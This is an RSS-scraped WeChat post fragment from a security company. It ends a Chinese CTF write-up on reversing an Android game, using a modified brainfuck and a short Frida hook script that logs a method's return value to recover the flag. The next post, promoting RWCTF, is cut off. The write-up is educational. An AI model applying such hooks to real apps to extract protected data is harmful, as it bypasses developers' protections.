data-identifier-application__slash__x-cangjie-fragment="JTdCJTIya2xhc3MlMjIlM0ElMjJkb2N1bWVudCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIycGFyYWdyYXBoJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnV1aWQlMjIlM0ElMjJsY3E0YnZzd3Vudzd1NjZidmFhJTIyJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyYSVFNSU5MiU4Q2IlRTYlOTYlQjklRTYlQjMlOTUlRTUlODglODYlRTUlODglQUIlRTYlOEUlQTclRTUlODglQjYlRTUlQjElOEYlRTUlQjklOTUlRTclQkIlOTglRTUlODglQjYlRTklQTMlOUYlRTclODklQTklRTYlODglOTYlRTYlOTglQUZmbGFnJUVGJUJDJThDJUU3JTk0JUIxdGhpcy5jJUU2JThFJUE3JUU1JTg4JUI2JTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlNUQlN0Q=" data-identifier-application__slash__x-doc-key="w5VLqXgzQVKxnX19"><p style="text-align: left;"><span style="font-size: 15px;">a和b方法分别控制屏幕绘制食物或是 flag，由 this.c 控制</span></p></article><p><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.23278688524590163" data-s="300,640" style="" data-type="png" data-w="610" src="https://wechat2rss.xlab.app/img-proxy/?k=73a8491e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFOh11C4BDicSa45ZntjWN8pNRjhlniazkxk2GEtwgA7qk9JpgaxqCoXXNuEEYpsOGAJY0DupkicEXK7CsECPhVOEw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.344" data-s="300,640" style="" data-type="png" data-w="750" src="https://wechat2rss.xlab.app/img-proxy/?k=64eeee54&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFOh11C4BDicSa45ZntjWN8pNRjhlniazkxeiatEo8X7FCn2ichyoCGhrVz5hUwzjiawakJ7xfdTT93xGOic1ASsxLx7g%2F640%3Fwx_fmt%3Dpng"/></p><section style="margin-bottom: 0px;line-height: 1.75em;"><br/></section><article data-clipboard-cangjie="[&#34;root&#34;,{&#34;copyFrom&#34;:1322265839},[&#34;p&#34;,{&#34;uuid&#34;:&#34;lcq4fxhvij09ep2zeyk&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;text&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;leaf&#34;},&#34;注意到拼装b图片时用到了this.f数组，交叉引用后定位到&#34;]]]]" data-identifier-application__slash__x-cangjie-fragment="JTdCJTIya2xhc3MlMjIlM0ElMjJkb2N1bWVudCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIycGFyYWdyYXBoJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnV1aWQlMjIlM0ElMjJsY3E0ZnhodmlqMDllcDJ6ZXlrJTIyJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJUU2JUIzJUE4JUU2JTg0JThGJUU1JTg4JUIwJUU2JThCJUJDJUU4JUEzJTg1YiVFNSU5QiVCRSVFNyU4OSU4NyVFNiU5NyVCNiVFNyU5NCVBOCVFNSU4OCVCMCVFNCVCQSU4NnRoaXMuZiVFNiU5NSVCMCVFNyVCQiU4NCVFRiVCQyU4QyVFNCVCQSVBNCVFNSU4RiU4OSVFNSVCQyU5NSVFNyU5NCVBOCVFNSU5MCU4RSVFNSVBRSU5QSVFNCVCRCU4RCVFNSU4OCVCMCUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE" data-identifier-application__slash__x-doc-key="w5VLqXgzQVKxnX19"><p style="text-align: left;"><span style="font-size: 15px;">注意到拼装b图片时用到了 this.f 数组，交叉引用后定位到</span></p></article><p><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.11171875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=494143f2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFOh11C4BDicSa45ZntjWN8pNRjhlniazkxdTgc7Oa1Gn3miaeZC4licMib9FNjfgnsToaqfwwxCkHFjL3zTtexfPeuA%2F640%3Fwx_fmt%3Dpng"/></p><section style="margin-bottom: 0px;line-height: 1.75em;"><br/></section><article data-clipboard-cangjie="[&#34;root&#34;,{&#34;copyFrom&#34;:1322265839},[&#34;p&#34;,{&#34;uuid&#34;:&#34;lcq4hm8nn0cao069ks&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;text&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;leaf&#34;},&#34;比较容易猜到是brainfuck，但是有点小改动，不能直接在线解密，仔细分析的话可以发现是[]&lt;&gt;互换了一下，图方便可以hook拿到返回值&#34;]]]]" data-identifier-application__slash__x-cangjie-fragment="JTdCJTIya2xhc3MlMjIlM0ElMjJkb2N1bWVudCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIycGFyYWdyYXBoJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnV1aWQlMjIlM0ElMjJsY3E0aG04bm4wY2FvMDY5a3MlMjIlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIydGV4dCUyMiUyQyUyMmxlYXZlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjIlRTYlQUYlOTQlRTglQkUlODMlRTUlQUUlQjklRTYlOTglOTMlRTclOEMlOUMlRTUlODglQjAlRTYlOTglQUZicmFpbmZ1Y2slRUYlQkMlOEMlRTQlQkQlODYlRTYlOTglQUYlRTYlOUMlODklRTclODIlQjklRTUlQjAlOEYlRTYlOTQlQjklRTUlOEElQTglRUYlQkMlOEMlRTQlQjglOEQlRTglODMlQkQlRTclOUIlQjQlRTYlOEUlQTUlRTUlOUMlQTglRTclQkElQkYlRTglQTclQTMlRTUlQUYlODYlRUYlQkMlOEMlRTQlQkIlOTQlRTclQkIlODYlRTUlODglODYlRTYlOUUlOTAlRTclOUElODQlRTglQUYlOUQlRTUlOEYlQUYlRTQlQkIlQTUlRTUlOEYlOTElRTclOEUlQjAlRTYlOTglQUYlNUIlNUQlM0MlM0UlRTQlQkElOTIlRTYlOEQlQTIlRTQlQkElODYlRTQlQjglODAlRTQlQjglOEIlRUYlQkMlOEMlRTUlOUIlQkUlRTYlOTYlQjklRTQlQkUlQkYlRTUlOEYlQUYlRTQlQkIlQTVob29rJUU2JThCJUJGJUU1JTg4JUIwJUU4JUJGJTk0JUU1JTlCJTlFJUU1JTgwJUJDJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlNUQlN0Q=" data-identifier-application__slash__x-doc-key="w5VLqXgzQVKxnX19"><section style="text-align: left;line-height: 1.75em;"><span style="font-size: 15px;">比较容易猜到是 brainfuck，但是有点小改动，不能直接在线解密，仔细分析的话可以发现是[]&lt;&gt;互换了一下，图方便可以 hook 拿到返回值</span></section></article><p><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">function hook(){</span></code><code><span class="code-snippet_outer">    Java.perform(function(){</span></code><code><span class="code-snippet_outer">       var SecurityParams = Java.use(&#34;b.a.a.a&#34;);</span></code><code><span class="code-snippet_outer">       SecurityParams.a.implementation = function(str){</span></code><code><span class="code-snippet_outer">                var ret = this.a(str);</span></code><code><span class="code-snippet_outer">                console.log(ret);</span></code><code><span class="code-snippet_outer">                return ret;</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">    });</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">function main() {</span></code><code><span class="code-snippet_outer">        hook()</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">setImmediate(main)</span></code></pre></section><section style="margin-bottom: 0px;line-height: 1.75em;"><br/></section><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.14375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=f48c674d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFOh11C4BDicSa45ZntjWN8pNRjhlniazkxIMzUztIRv8HrwNdlsQARnHvSZn1DMbMvJYcTuw8hdk8dUeyconY7Yg%2F640%3Fwx_fmt%3Dpng"/></p><section style="margin-bottom: 0px;line-height: 1.75em;"><br/></section><article data-clipboard-cangjie="[&#34;root&#34;,{&#34;copyFrom&#34;:1322265839},[&#34;p&#34;,{&#34;uuid&#34;:&#34;lcq50ntdwa144bps69n&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;text&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;leaf&#34;},&#34;数组中的元素即对应drawable目录中flag文件名，按顺序找出对应图片即可得到flag，需要注意的是this.v在i函数中会先自增一次，所以flag从第1个元素开始取&#34;]]]]" data-identifier-application__slash__x-cangjie-fragment="JTdCJTIya2xhc3MlMjIlM0ElMjJkb2N1bWVudCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIycGFyYWdyYXBoJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnV1aWQlMjIlM0ElMjJsY3E1MG50ZHdhMTQ0YnBzNjluJTIyJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJUU2JTk1JUIwJUU3JUJCJTg0JUU0JUI4JUFEJUU3JTlBJTg0JUU1JTg1JTgzJUU3JUI0JUEwJUU1JThEJUIzJUU1JUFGJUI5JUU1JUJBJTk0ZHJhd2FibGUlRTclOUIlQUUlRTUlQkQlOTUlRTQlQjglQURmbGFnJUU2JTk2JTg3JUU0JUJCJUI2JUU1JTkwJThEJUVGJUJDJThDJUU2JThDJTg5JUU5JUExJUJBJUU1JUJBJThGJUU2JTg5JUJFJUU1JTg3JUJBJUU1JUFGJUI5JUU1JUJBJTk0JUU1JTlCJUJFJUU3JTg5JTg3JUU1JThEJUIzJUU1JThGJUFGJUU1JUJFJTk3JUU1JTg4JUIwZmxhZyVFRiVCQyU4QyVFOSU5QyU4MCVFOCVBNiU4MSVFNiVCMyVBOCVFNiU4NCU4RiVFNyU5QSU4NCVFNiU5OCVBRnRoaXMudiVFNSU5QyVBOGklRTUlODclQkQlRTYlOTUlQjAlRTQlQjglQUQlRTQlQkMlOUElRTUlODUlODglRTglODclQUElRTUlQTIlOUUlRTQlQjglODAlRTYlQUMlQTElRUYlQkMlOEMlRTYlODklODAlRTQlQkIlQTVmbGFnJUU0JUJCJThFJUU3JUFDJUFDMSVFNCVCOCVBQSVFNSU4NSU4MyVFNyVCNCVBMCVFNSVCQyU4MCVFNSVBNyU4QiVFNSU4RiU5NiUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE" data-identifier-application__slash__x-doc-key="w5VLqXgzQVKxnX19"><section style="text-align: left;line-height: 1.75em;"><span style="font-size: 15px;">数组中的元素即对应 drawable 目录中 flag 文件名，按顺序找出对应图片即可得到 flag，需要注意的是 this.v 在i函数中会先自增一次，所以 flag 从第1个元素开始取</span></section></article><p><br/></p><p><br/></p><p><br/></p><section data-role="title" data-tools="135编辑器" data-id="93744" data-color="#7ac259"><section style="text-align: center;padding-top: 1em;padding-bottom: 1em;box-sizing: border-box;"><section><section style="display: inline-block;"><section style="display:flex;justify-content: center;align-items: flex-end;"><section style="box-sizing:border-box;width: 4px;height: 32px;background: #7ac259;border-top-left-radius: 2px;border-bottom-left-radius: 2px;overflow: hidden;" data-darkmode-bgcolor="rgb(122, 194, 89)" data-darkmode-original-bgcolor="rgb(122, 194, 89)" class="js_darkmode__10723"><br/></section><section style="border-bottom: 4px solid #7ac259;box-sizing: border-box;"><section style="padding: 5px 1.4em;background: rgb(255, 255, 255);border-width: 1px;border-style: dashed;border-color: rgb(51, 51, 51);letter-spacing: 2px;transform: rotate(0deg);" data-darkmode-bgcolor="rgb(36, 36, 36)" data-darkmode-original-bgcolor="rgb(255, 255, 255)" class="js_darkmode__10724"><section data-brushtype="text" data-darkmode-bgcolor="rgb(36, 36, 36)" data-darkmode-original-bgcolor="rgb(255, 255, 255)"><span style="font-size:24px;" data-darkmode-bgcolor="rgb(36, 36, 36)" data-darkmode-original-bgcolor="rgb(255, 255, 255)"><strong data-darkmode-bgcolor="rgb(36, 36, 36)" data-darkmode-original-bgcolor="rgb(255, 255, 255)">Check-In</strong></span></section></section></section><section style="box-sizing:border-box;width: 4px;height: 32px;background: #7ac259;border-top-right-radius: 2px;border-bottom-right-radius: 2px;overflow: hidden;" data-darkmode-bgcolor="rgb(122, 194, 89)" data-darkmode-original-bgcolor="rgb(122, 194, 89)" class="js_darkmode__10725"><br/></section></section></section></section></section></section><section style="margin-bottom: 0px;line-height: 1.75em;"><br/></section><section data-role="title" data-tools="135编辑器" data-id="93408" data-color="#7ac259"><section style="display:flex;justify-content: center;align-items: center;margin:10px auto;"><section data-brushtype="text" style="border-left: 5px solid rgb(122, 194, 89);padding-right: 5px;padding-left: 5px;box-sizing: border-box;">🐑了拼🐑</section><section class="js_darkmode__10726" style="overflow:hidden;height:1px;background:#7ac259;flex:1;" data-darkmode-bgcolor="rgb(122, 194, 89)" data-darkmode-original-bgcolor="rgb(122, 194, 89)"><br/></section><section class="js_darkmode__10727" style="overflow:hidden;height:6px;background:#7ac259;width:6px;border-radius:100%;" data-darkmode-bgcolor="rgb(122, 194, 89)" data-darkmode-original-bgcolor="rgb(122, 194, 89)"><br/></section></section></section><section style="margin-bottom: 0px;line-height: 1.75em;"><br/></section><article data-clipboard-cangjie="[&#34;root&#34;,{&#34;copyFrom&#34;:1322265839},[&#34;p&#34;,{},[&#34;span&#34;,{&#34;data-type&#34;:&#34;text&#34;},[&#34;span&#34;,{&#34;fonts&#34;:{&#34;ascii&#34;:&#34;宋体&#34;,&#34;cs&#34;:&#34;Cambria&#34;,&#34;eastAsia&#34;:&#34;宋体&#34;,&#34;hAnsi&#34;:&#34;宋体&#34;,&#34;hint&#34;:&#34;eastAsia&#34;},&#34;data-type&#34;:&#34;leaf&#34;},&#34;直接拼图就可以获取 flag&#34;]]]]" data-identifier-application__slash__x-cangjie-fragment="JTdCJTIya2xhc3MlMjIlM0ElMjJkb2N1bWVudCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIycGFyYWdyYXBoJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnV1aWQlMjIlM0ElMjJsY3E0cmpzNXE3aWtkcDR6ODRqJTIyJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJUU3JTlCJUI0JUU2JThFJUE1JUU2JThCJUJDJUU1JTlCJUJFJUU1JUIwJUIxJUU1JThGJUFGJUU0JUJCJUE1JUU4JThFJUI3JUU1JThGJTk2JTIwZmxhZyUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTdCJTIya2xhc3MlMjIlM0ElMjJtYXJrJTIyJTJDJTIydHlwZSUyMiUzQSUyMmZvbnRzJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMmFzY2lpJTIyJTNBJTIyJUU1JUFFJThCJUU0JUJEJTkzJTIyJTJDJTIyY3MlMjIlM0ElMjJDYW1icmlhJTIyJTJDJTIyZWFzdEFzaWElMjIlM0ElMjIlRTUlQUUlOEIlRTQlQkQlOTMlMjIlMkMlMjJoQW5zaSUyMiUzQSUyMiVFNSVBRSU4QiVFNCVCRCU5MyUyMiUyQyUyMmhpbnQlMjIlM0ElMjJlYXN0QXNpYSUyMiU3RCU3RCU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RA==" data-identifier-application__slash__x-doc-key="w5VLqXgzQVKxnX19"><section style="text-align: left;margin-bottom: 0px;"><span style="font-family: 宋体, 宋体, Cambria, 宋体;font-size: 15px;">直接拼图就可以获取 flag</span></section></article><p><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6753069577080492" data-s="300,640" style="" data-type="png" data-w="733" src="https://wechat2rss.xlab.app/img-proxy/?k=0de48587&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFOh11C4BDicSa45ZntjWN8pNRjhlniazkxHs52KYbNwZAqmw9cV1vfblJRZIgyIH7VoZeTV3ibgK8HDJBdevE9XMA%2F640%3Fwx_fmt%3Dpng"/></p><section style="line-height: 1.75em;margin-bottom: 0px;"><br/></section><section style="line-height: 1.75em;margin-bottom: 0px;"><br/></section><section style="line-height: 1.75em;margin-bottom: 0px;"><br/></section><section data-tools="135编辑器" data-id="98931"><section style="display:flex;justify-content: space-between;align-items: flex-end;margin:10px auto;"><section style="display:flex;justify-content:center;align-items: flex-end;"><section style="width:auto;"><section style="width: 35px;margin-right: auto;margin-left: auto;"><img class="rich_pages wxw-img" data-ratio="0.9" style="vertical-align:inherit;width:100%;display:block;" data-type="gif" data-w="450" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=c144f948&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FFOh11C4BDicSa45ZntjWN8pNRjhlniazkxviciaenIP0DTdYfkn1tLAibxTNrQ14wTL6af7dDMhiaNU04lg2HDhqcntA%2F640%3Fwx_fmt%3Dgif"/></section><section class="js_darkmode__10728" data-brushtype="text" style="text-align:center;font-size:14px;letter-spacing: 1.5px;color: #000;" data-darkmode-color="rgb(230, 230, 230)" data-darkmode-original-color="rgb(0, 0, 0)"><strong data-darkmode-color="rgb(230, 230, 230)" data-darkmode-original-color="rgb(0, 0, 0)">点分享</strong></section></section><section style="width:auto;margin-left:10px;"><section style="width: 30px;margin-right: auto;margin-left: auto;"><img class="rich_pages wxw-img" data-ratio="1.1399491094147582" style="vertical-align:inherit;width:100%;display:block;" data-type="gif" data-w="393" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=f1843223&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FFOh11C4BDicSa45ZntjWN8pNRjhlniazkxxAAnowu4rMKF8kf1P5KWuSZFQuFMX40s2X9tU8S2vSOIliabia4aCddg%2F640%3Fwx_fmt%3Dgif"/></section><section class="js_darkmode__10729" data-brushtype="text" style="text-align:center;font-size:14px;letter-spacing: 1.5px;color: #000;" data-darkmode-color="rgb(230, 230, 230)" data-darkmode-original-color="rgb(0, 0, 0)"><strong data-darkmode-color="rgb(230, 230, 230)" data-darkmode-original-color="rgb(0, 0, 0)">点收藏</strong></section></section></section><section style="display:flex;justify-content:center;align-items: flex-end;"><section style="width:auto;"><section style="width: 25px;margin-right: auto;margin-left: auto;"><img data-ratio="1.3092105263157894" style="vertical-align:inherit;width:100%;display:block;" data-type="gif" data-w="304" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=28cf7020&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FFOh11C4BDicSa45ZntjWN8pNRjhlniazkx6dk3HtDLwDEoeb9XfAEMbEOXG8sHuCjA8wuadvcWsWuKBfwIrLkC0Q%2F640%3Fwx_fmt%3Dgif"/></section><section class="js_darkmode__10730" data-brushtype="text" style="text-align:center;font-size:14px;letter-spacing: 1.5px;color: #000;" data-darkmode-color="rgb(230, 230, 230)" data-darkmode-original-color="rgb(0, 0, 0)"><strong data-darkmode-color="rgb(230, 230, 230)" data-darkmode-original-color="rgb(0, 0, 0)">点点赞</strong></section></section><section style="width:auto;margin-left:10px;"><section style="width: 30px;margin-right: auto;margin-left: auto;"><img data-ratio="1.1399491094147582" style="vertical-align:inherit;width:100%;display:block;" data-type="gif" data-w="393" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=eaa50e92&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FFOh11C4BDicSa45ZntjWN8pNRjhlniazkxVpk4BNpfYoGueWmwmFAFfJbu7sLX3xYBnDNx4Hl49NeNrJE8ANW7qA%2F640%3Fwx_fmt%3Dgif"/></section><section class="js_darkmode__10731" data-brushtype="text" style="text-align:center;font-size:14px;letter-spacing: 1.5px;color: #000;" data-darkmode-color="rgb(230, 230, 230)" data-darkmode-original-color="rgb(0, 0, 0)"><strong data-darkmode-color="rgb(230, 230, 230)" data-darkmode-original-color="rgb(0, 0, 0)">点在看</strong></section></section></section></section></section><section style="margin-bottom: 0px;line-height: 1.75em;"><br/></section></section><p style="display: none;margin-bottom: 24px;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247500498">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=0897b502&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI2OTUzMzg3Ng%3D%3D%26mid%3D2247500498%26idx%3D1%26sn%3Dbd9268dd11e735fb4b2fd14d5aa4efcc%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 11 Jan 2023 18:15:00 +0800</pubDate>
    </item>
    <item>
      <title>RWCTF红宝书|赛题盘点：抓狂、emo？</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI2OTUzMzg3Ng==&amp;mid=2247500495&amp;idx=1&amp;sn=40b68c29709cbaf1e50ea00160a876a4</link>
      <description>请注意：RWCTF体验赛日期变更！！！</description>
      <content:encoded><![CDATA[<p>
<span>长亭科技</span> <span>2023-01-03 18:33</span> <span style="display: inline-block;">北京</span>
</p>

<p>请注意：RWCTF体验赛日期变更！！！</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=ecf0f518&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FtzAD45OOV0bdwO6dWIfsZFBNibJDOccagrFS0u48cxb6xN4iaplf92icYaNInLt8mGlu4JiclVbjdibDDrF9PeibX5AQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: center;" data-mpa-powered-by="yiban.io"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.25508607198748046" style="" data-type="gif" data-w="639" src="https://wechat2rss.xlab.app/img-proxy/?k=6d81bbad&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FFuleibl6qMuosiaauWPR736pkDQtcCa6DZURHzwLASugknb7Iy9hBwQg6QLOlyxVLsibdVT05ic37rl5Qnib8ricvdGg%2F640%3Fwx_fmt%3Dgif"/></p><p><br/></p><section><span style="outline: 0px;max-width: 100%;font-size: 15px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">12月9日，第五届RWCTF正式开启报名！</span></section><section><span style="outline: 0px;max-width: 100%;font-size: 15px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">作为以赛题质量过硬而在技术圈知名的的比赛</span></section><section><span style="outline: 0px;max-width: 100%;font-size: 15px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">RWCTF的题目一直是备受关注、讨论和“吐槽”的？</span></section><section><span style="outline: 0px;max-width: 100%;font-size: 15px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">出题师傅也是一直充满神秘，备受保护。</span></section><p><br/></p><p><img class="rich_pages wxw-img" data-ratio="1" data-s="300,640" data-type="jpeg" data-w="720" style="outline: 0px;box-sizing: border-box !important;overflow-wrap: break-word !important;width: 179px !important;visibility: visible !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=7a783ca3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FFOh11C4BDicQBuQHPL8ibkzSrTc42IevYB5NiaVdCyaMDWh95j3IlBlxgpZQHSJPCBZ7A1v954VkRQVngJ359C8fw%2F640%3Fwx_fmt%3Djpeg%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></p><p><br/></p><section><span style="outline: 0px;max-width: 100%;font-size: 15px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">为了帮大家更好的准备第五届的比赛</span></section><section><span style="outline: 0px;max-width: 100%;font-size: 15px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">小编在</span><span style="outline: 0px;max-width: 100%;font-size: 15px;text-decoration: line-through;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">潜入出题组</span><span style="outline: 0px;max-width: 100%;font-size: 15px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">无果后</span></section><section><span style="outline: 0px;max-width: 100%;font-size: 15px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">仔细研究了前四期比赛的赛题</span></section><section><span style="outline: 0px;max-width: 100%;font-size: 15px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">为大家总结了一些代表性题目</span></section><p><br/></p><p><span style="outline: 0px;max-width: 100%;font-size: 15px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">希望可以对大家有所参考</span></p><p><br/></p><section><span style="outline: 0px;max-width: 100%;font-size: 15px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">只能帮到这了~</span></section><section><br/></section><section><span style="outline: 0px;max-width: 100%;font-size: 15px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></span></section><section><span style="outline: 0px;max-width: 100%;font-size: 15px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></span></section><section data-role="outer" label="edit by 135editor" style="outline: 0px;max-width: 100%;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-role="paragraph" style="outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="outline: 0px;max-width: 100%;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 19px;font-family: 微软雅黑, sans-serif;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">1</span></strong><strong style="outline: 0px;max-width: 100%;font-size: 19px;line-height: 1.58em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 微软雅黑, sans-serif;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">、最抓狂题目：<span style="outline: 0px;max-width: 100%;color: rgb(38, 160, 58);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">&lt;</span>PrintMD<span style="outline: 0px;max-width: 100%;color: rgb(235, 173, 51);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">&gt;</span></span></strong></p><p style="outline: 0px;max-width: 100%;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 16px;background-color: rgb(0, 158, 231);line-height: 1.56em;color: rgb(252, 252, 252);font-family: 微软雅黑, sans-serif;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word 